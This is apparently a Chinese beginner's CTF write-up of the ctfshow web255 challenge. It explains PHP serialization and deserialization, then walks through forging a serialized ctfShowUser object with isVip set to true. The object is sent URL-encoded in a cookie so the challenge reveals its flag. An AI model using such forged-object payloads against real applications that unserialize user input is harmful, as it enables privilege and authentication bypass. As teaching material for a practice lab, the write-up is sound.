ctfshow-web255

(sql注入太难了,所以先跳到反序列化,我这块也是第一次接触所以又要从头开始,什么魔术方法pop链之类的啥都不懂,但好处是又能从小白的视角看问题了)

一.前置知识

1.什么是序列化

一句话理解:

把"程序里的对象 / 数据结构" → 变成"可以存储或传输的字符串/字节流",依旧看例子:

php 复制代码
$user = [
  "name" => "admin",
  "isLogin" => true
];

经过序列化之后是这么输出的:

php 复制代码
a:2:{s:4:"name";s:5:"admin";s:7:"isLogin";b:1;}

这里还要讲一下这里面冒出来的字母是啥:

这里true就是返回1,false就是返回0,然后数字就是字符串长度。

这样做的目的:

  • 存到 cookie

  • 存到 session

  • 存到 文件 / 数据库

  • 通过 HTTP 传给前端 / 其他服务

2.什么是反序列化

同样的一句话理解:

把"字符串/字节流" → 还原回"程序里的对象 / 数据结构"【相当于倒一下】

php 复制代码
$data = 'a:2:{s:4:"name";s:5:"admin";s:7:"isLogin";b:1;}';
$user = unserialize($data);

3.有啥用

这里还是举个例子:

php 复制代码
<?php
class User {
    public $isAdmin = false;

    function __destruct() {
        if ($this->isAdmin) {
            system("cat flag");
        }
    }
}

$data = $_GET['data'];
unserialize($data);

正常逻辑:反序列化一个 User 对象 然后$isAdmin的值默认为false

然后在这里攻击者就可以构造一个序列化字符串:

php 复制代码
O:4:"User":1:{s:7:"isAdmin";b:1;}

通过get方式传给服务器,那么就会发生:

PHP 把字符串还原成一个 User 对象

$isAdmin = true

脚本结束 → 自动调用 __destruct()

system("cat flag") 执行

flag 到手

二:具体题目

放出的代码是这样的:

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
// 定义一个用户类
class ctfShowUser{
    // 公共属性:用户名,默认值是 xxxxxx
    public $username='xxxxxx';
    // 公共属性:密码,默认值是 xxxxxx
    public $password='xxxxxx';
    // 是否是 VIP,默认 false(不是 VIP)
    public $isVip=false;
    // 检查当前对象是不是 VIP
    public function checkVip(){
        // $this 指的是"当前这个对象"
        // 返回对象里的 isVip 属性
        return $this->isVip;
    }
    // 登录函数,只做校验,不修改 isVip
    public function login($u,$p){
        // 判断:
        // 1. 对象里的 username 是否等于用户传进来的 $u
        // 2. 对象里的 password 是否等于用户传进来的 $p
        // === 是全等比较(值和类型都要一样)
        // 返回 true 或 false
        return $this->username === $u && $this->password === $p;
    }
    // VIP 一键拿 flag 的函数
    public function vipOneKeyGetFlag(){
        // 如果当前对象是 VIP
        if($this->isVip){
            // 使用全局变量 $flag(来自 flag.php)
            global $flag;
            // 输出 flag
            echo "your flag is ".$flag;
        }else{
            // 如果不是 VIP
            echo "no vip, no flag";
        }
    }
}
// 从 GET 参数中获取用户名和密码(攻击者可控)
$username = $_GET['username'];
$password = $_GET['password'];
// 只要 username 和 password 都存在,就继续执行
if(isset($username) && isset($password)){
    // ★★★ 核心漏洞 ★★★
    // 从 Cookie 中取 user,然后直接反序列化
    // Cookie 是用户可控的
    // 所以这里存在"反序列化漏洞"
    $user = unserialize($_COOKIE['user']);    
    // 调用 login 方法,用 GET 传进来的用户名和密码做校验
    if($user->login($username,$password)){
        // 如果登录校验通过,再检查是否是 VIP
        if($user->checkVip()){
            // 如果是 VIP,就输出 flag
            $user->vipOneKeyGetFlag();
        }
    }else{
        // 登录校验失败
        echo "no vip,no flag";
    }
}

这串代码的关键首先就是usernamepassword ,直接给出了默认都为xxxxxx,并且是通过get方式传参,那么最开始便是在URL里面输入username和password这两个值:

css 复制代码
?username=xxxxxx&password=xxxxxx

然后后面的关键就是如何写出user序列化后的代码,这里先给出来再一一解释:

php 复制代码
O:11:"ctfShowUser":3:{
  s:8:"username";s:6:"xxxxxx";
  s:8:"password";s:6:"xxxxxx";
  s:5:"isVip";b:1;
}

1.O ------ Object(对象)

php 复制代码
O → 这是一个对象

PHP 知道要还原的是 对象,不是数组

2:"ctfShowUser" ------ 类名

css 复制代码
ctfShowUser → 11 个字符

类名必须完全一样,不然反序列化出来的是"未知类",方法根本调不了。

3.属性数量

css 复制代码
:3:

表示这个对象里有 3 个属性,username,password,$isVip

4.{ ... } ------ 属性内容

这里的关键是isVIP:

css 复制代码
s:5:"isVip";
b:1;

b:1代表True,这样才能表示是真的VIP

这里其实可以简写,就是不写username和password,原因得看之前的代码:

php 复制代码
public function login($u,$p){
    return $this->username === $u && $this->password === $p;
}

用人话讲就是如果 对象自己的用户名 等于 我们传进来的用户名 并且对象自己的密码 等于 我们传进来的密码那就返回 true,那么假设我们就传一个:

php 复制代码
O:11:"ctfShowUser":1:{s:5:"isVip";b:1;}

那么实际上其实是这样的:

php 复制代码
$user->username = 'xxxxxx'; // 默认值
$user->password = 'xxxxxx'; // 默认值
$user->isVip    = true;

然后我们的url里的password和username都为默认值,那么刚好一一对应,最后就能echo flag

注意要**对序列化字符串进行URL编码,**即我们最后的payload为:

php 复制代码
user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

或者:

php 复制代码
user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

要编码的原因是序列化字符串中包含:

css 复制代码
: ; " { }

这些在 HTTP Cookie 中是分隔符 / 非法字符,不编码会被浏览器或服务器截断

三:总结

第一次接触反序列化,最大的感受其实不是"技术有多复杂",而是代码真的会把我们伪造的数据当成"真实对象"来使用

这道题并没有用到魔术方法、POP 链这些进阶技巧,而是最基础、也最容易被忽略的一点:反序列化 + 默认值 + 逻辑校验

从序列化字符串的格式,到对象属性如何影响程序判断,再到为什么要 URL 编码,每一步都是在回答一个问题------
"程序到底是怎么一步步相信我的?"

理解了这一点,反序列化就不再是"玄学漏洞",而是一条清晰可追踪的执行流程。

后面无论是魔术方法还是 POP 链,本质也都是在这条思路上继续往前走。

相关推荐
hpoenixf6 小时前
2026 年前端面试问什么
前端·面试
还是大剑师兰特6 小时前
Vue3 中的 defineExpose 完全指南
前端·javascript·vue.js
疯狂吧小飞牛6 小时前
GPG基础指令
linux·服务器·网络
C++ 老炮儿的技术栈6 小时前
volatile使用场景
linux·服务器·c语言·开发语言·c++
泯泷6 小时前
阶段一:从 0 看懂 JSVMP 架构,先在脑子里搭出一台最小 JSVM
前端·javascript·架构
大阿明6 小时前
Spring Boot(快速上手)
java·spring boot·后端
bearpping6 小时前
Java进阶,时间与日期,包装类,正则表达式
java
邵奈一7 小时前
清明纪念·时光信笺——项目运行指南
java·实战·项目
hjxu20167 小时前
【OpenClaw 龙虾养成笔记一】在远程服务器,使用Docker安装OpenClaw
服务器·笔记·docker
mengchanmian7 小时前
前端node常用配置
前端